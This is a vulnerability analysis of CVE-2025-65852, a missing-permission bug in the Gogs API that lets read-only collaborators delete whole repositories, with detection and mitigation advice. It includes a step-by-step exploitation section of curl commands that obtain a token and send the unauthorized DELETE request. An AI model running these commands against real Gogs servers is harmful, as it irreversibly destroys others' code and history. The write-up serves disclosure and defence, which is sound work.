CVE-2025-65852: 
vulnerability analysis and mitigation

CVE-2025-65852 is an authorization bypass vulnerability in the Gogs self-hosted Git service API that allows authenticated users with read-only access to permanently delete entire repositories. It affects Gogs versions up to and including 0.13.3, and was disclosed and patched on February 6, 2026, with the fix released in version 0.13.4. The vulnerability is classified as CWE-284 (Improper Access Control) and carries a CVSS v4 base score of 5.7 (Moderate), though its practical impact on data integrity and availability is severe (GitHub Advisory, Gogs Advisory).

The root cause is a missing permission validation middleware on the DELETE /api/v1/repos/:owner/:repo API route in internal/route/api/v1/api.go (approximately line 253). The route was configured with only the repoAssignment() middleware, which verifies that the requesting user has read access to the repository, but omits the reqRepoOwner() or reqRepoAdmin() middleware required to authorize destructive operations. Additionally, the repo.Delete() handler function in internal/route/api/v1/repo/repo.go (lines 320–338) contains no internal permission check, directly invoking models.DeleteRepository() upon any authenticated read-level request. By contrast, other sensitive endpoints such as webhook and deploy key management correctly apply reqRepoAdmin(). The fix (commit 961a79e) adds a new reqRepoOwner() middleware and applies it to the delete route (Gogs Advisory, Fix Commit).

Successful exploitation allows any authenticated collaborator with read-only access to permanently delete an entire Gogs repository, including all source code, git history, issues, and wiki documentation. The deletion is irreversible without external backups, resulting in significant data integrity and availability impacts. While there is no confidentiality impact (no data is exposed), the potential for targeted sabotage or accidental destruction by low-privileged insiders or compromised accounts poses a critical operational risk to organizations relying on Gogs for source code management (GitHub Advisory, Gogs Advisory).

A public proof-of-concept (PoC) bash script is included in the official security advisory, demonstrating exploitation using only a valid API token from a read-only collaborator account. The vulnerability requires no special conditions beyond having been added as a collaborator to the target repository. There is no evidence of in-the-wild exploitation or threat actor attribution at this time, and the CVE is not listed in the CISA KEV catalog. The EPSS score is not yet published (GitHub Advisory).

1. Obtain collaborator access: Ensure the attacker's account has been added as a read-only collaborator to the target Gogs repository (this can be done by the repository owner or via social engineering).
2. Acquire an API token: Generate a personal API access token for the attacker's account:

   curl -X POST http://<GOGS_HOST>/api/v1/users/<attacker>/tokens \
     -u <attacker>:<password> \
     -H "Content-Type: application/json" \
     -d '{"name":"test-token"}'

3. Verify repository access: Confirm the target repository is accessible with the token:

   curl -H "Authorization: token <TOKEN>" \
     http://<GOGS_HOST>/api/v1/repos/<owner>/<repo>

4. Issue unauthorized DELETE request: Send a DELETE request to the repository API endpoint using the read-only token:

   curl -X DELETE \
     -H "Authorization: token <TOKEN>" \
     http://<GOGS_HOST>/api/v1/repos/<owner>/<repo>

5. Confirm deletion: A 204 No Content response confirms the repository has been permanently deleted. Verify by re-querying the repository endpoint, which should return 404 Not Found (Gogs Advisory).

• Network: Unexpected DELETE HTTP requests to /api/v1/repos/<owner>/<repo> in web server or reverse proxy access logs, particularly from accounts with read-only collaborator roles.
• Logs: Gogs application logs showing 204 responses to DELETE /api/v1/repos/ requests from non-owner user accounts; absence of subsequent repository access logs for a previously active repository.
• Application: Repositories disappearing from the Gogs web UI without a corresponding administrative action or owner-initiated deletion event in audit logs.
• API Activity: API token usage from collaborator accounts performing DELETE operations — review token activity logs for anomalous method usage inconsistent with read-only roles (Gogs Advisory).

Upgrade Gogs to version 0.13.4 or later, which introduces the reqRepoOwner() middleware and applies it to the DELETE /api/v1/repos/:owner/:repo route, ensuring only repository owners can perform deletions (Gogs Release, Fix Commit). As an interim workaround for organizations unable to upgrade immediately, restrict API access at the network level (e.g., firewall rules or reverse proxy ACLs) to prevent untrusted users from reaching the Gogs API, and audit all existing collaborator permissions to minimize the number of accounts with any level of repository access. Ensure regular off-site backups of all repositories are in place to enable recovery in the event of exploitation.

The vulnerability was reported by security researcher Yannis175 and published by Gogs maintainer unknwon on February 6, 2026, as part of a batch of eight security fixes in the v0.13.4 release. No significant public commentary, media coverage, or social media discussion beyond the official advisory has been identified at this time (Gogs Advisory, Gogs Release).